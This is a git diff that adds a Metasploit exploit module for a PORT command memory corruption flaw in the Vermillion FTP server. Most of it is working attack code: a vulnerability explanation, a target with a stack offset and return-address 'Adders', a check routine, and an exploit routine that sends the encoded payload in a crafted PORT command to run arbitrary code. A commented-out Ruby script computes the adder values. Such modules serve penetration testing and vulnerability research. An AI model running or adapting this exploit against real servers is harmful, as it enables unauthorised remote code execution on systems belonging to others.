diff --git a/modules/exploits/windows/ftp/vermillion_ftpd_port.rb b/modules/exploits/windows/ftp/vermillion_ftpd_port.rb new file mode 100644 index 0000000000..403b8e9387 --- /dev/null +++ b/modules/exploits/windows/ftp/vermillion_ftpd_port.rb @@ -0,0 +1,245 @@ +## +# $Id$ +## + + +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# Framework web site for more information on licensing and terms of use. +# http://metasploit.com/framework/ +## + + +require 'msf/core' + + +class Metasploit3 < Msf::Exploit::Remote + Rank = GreatRanking + + include Msf::Exploit::Remote::Ftp + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Vermillion FTP Daemon PORT Command Memory Corruption', + 'Description' => %q{ + This module exploits an out-of-bounds array access in the Arcane Software + Vermillion FTP server. By sending an specially crafted FTP PORT command, + an attacker can corrupt stack memory and execute arbitrary code. + + This particular issue is caused by processing data bound by attacker + controlled input while writing into a 4 byte stack buffer. Unfortunately, + the writing that occurs is not a simple byte copy. + + Processing is done using a source ptr (p) and a destination pointer (q). + The vulnerable function walks the input string and continues while the + source byte is non-null. If a comma is encountered, the function increments + the the destination pointer. If an ascii digit [0-9] is encountered, the + following occurs: + + *q = (*q * 10) + (*p - '0'); + + All other input characters are ignored in this loop. + + As a consequence, an attacker must craft input such that modifications + to the current values on the stack result in usable values. In this exploit, + the low two bytes of the return address are adjusted to point at the + location of a 'call edi' instruction within the binary. This was chosen + since 'edi' points at the source buffer when the function returns. + + NOTE: This server can be installed as a service using "vftpd.exe install". + If so, the service does not restart automatically, giving an attacker only + one attempt. + }, + 'Author' => + [ + 'jduck' + ], + 'References' => + [ + [ 'URL', 'http://www.exploit-db.com/exploits/11293' ], + [ 'URL', 'http://www.global-evolution.info/news/files/vftpd/vftpd.txt' ] + ], + 'DefaultOptions' => + { + 'EXITFUNC' => 'process' + }, + 'Privileged' => true, + 'Payload' => + { + # format string max length + 'Space' => 1024, + 'BadChars' => "\x00\x08\x0a\x0d\x2c\xff", + 'DisableNops' => 'True' + }, + 'Platform' => 'win', + 'Targets' => + [ + # + # Automatic targeting via fingerprinting + # + [ 'Automatic Targeting', { 'auto' => true } ], + + # + # specific targets + # + [ 'vftpd 1.31 - Windows XP SP3 English', + { + 'OldRet' => 0x405a73, # not used directly + 'Ret' => 0x4058e3, # not used directly + # call edi in vftpd.exe (v1.31) + 'Offset' => 16, # distance to saved return + 'Adders' => "171,48" # adjust the bottom two bytes + } + ] + ], + 'DisclosureDate' => 'Sep 23 2009', + 'DefaultTarget' => 0)) + + register_options( + [ + Opt::RPORT(21), + ], self.class ) + end + + + def check + connect + disconnect + print_status("FTP Banner: #{banner}".strip) + if banner =~ /\(vftpd .*\)/ + return Exploit::CheckCode::Appears + end + return Exploit::CheckCode::Safe + end + + + def exploit + + # Use a copy of the target + mytarget = target + + if (target['auto']) + mytarget = nil + + print_status("Automatically detecting the target...") + connect + disconnect + + if (banner and (m = banner.match(/\(vftpd (.*)\)/))) then + print_status("FTP Banner: #{banner.strip}") + version = m[1] + else + print_status("No matching target") + return + end + + self.targets.each do |t| + if (t.name =~ /#{version} - /) then + mytarget = t + break + end + end + + if (not mytarget) + print_status("No matching target") + return + end + + print_status("Selected Target: #{mytarget.name}") + else + print_status("Trying target #{mytarget.name}...") + end + + + connect + + stuff = payload.encoded + # skip 16 bytes + stuff << "," * mytarget['Offset'] + # now we change the return address to be what we want + stuff << mytarget['Adders'] + + if (res = send_cmd(['PORT', stuff])) + print_status(res.strip) + end + + disconnect + handler + + end + +end + + +=begin + +NOTE: the following code was used to obtain the "Adders" target value. +I'm not extremely pleased with this solution, but I haven't come up with +a more elegant one... + +========================= +#!/usr/bin/env ruby +# +# usage: ./find_adder.rb +# example: ./find_adder.rb 0x405a73 0x004058e3 +# + +$old_ret = ARGV.shift.to_i(16) +$new_ret = ARGV.shift.to_i(16) + +oret = [$old_ret].pack('V').unpack('C*') +nret = [$new_ret].pack('V').unpack('C*') + + +def process_idx(oret, nret, adders, idx) + new_val = oret[idx] + digits = adders[idx].to_s.unpack('C*') + digits.each { |dig| + dig -= 0x30 + new_val = (new_val * 10) + dig + } + return (new_val & 0xff) +end + + +# brute force approach! +final_adders = [ nil, nil, nil, nil ] + +adders = [] +4.times { |idx| + next if (oret[idx] == nret[idx]) + 10.times { |x| + 10.times { |y| + 10.times { |z| + adders[idx] = (x.to_s + y.to_s + z.to_s).to_i + + val = process_idx(oret, nret, adders, idx) + if (val == nret[idx]) + final_adders[idx] = adders[idx] + end + + break if (final_adders[idx]) + } + break if (final_adders[idx]) + } + break if (final_adders[idx]) + } +} + + +# check/print the solution +eret = [] +4.times { |idx| + eret << process_idx(oret, nret, adders, idx) +} +final = eret.pack('C*').unpack('V')[0] +if (final == $new_ret) + puts final_adders.join(',') + exit(0) +end + +puts "unable to find a valid solution!" +exit(1) + +=end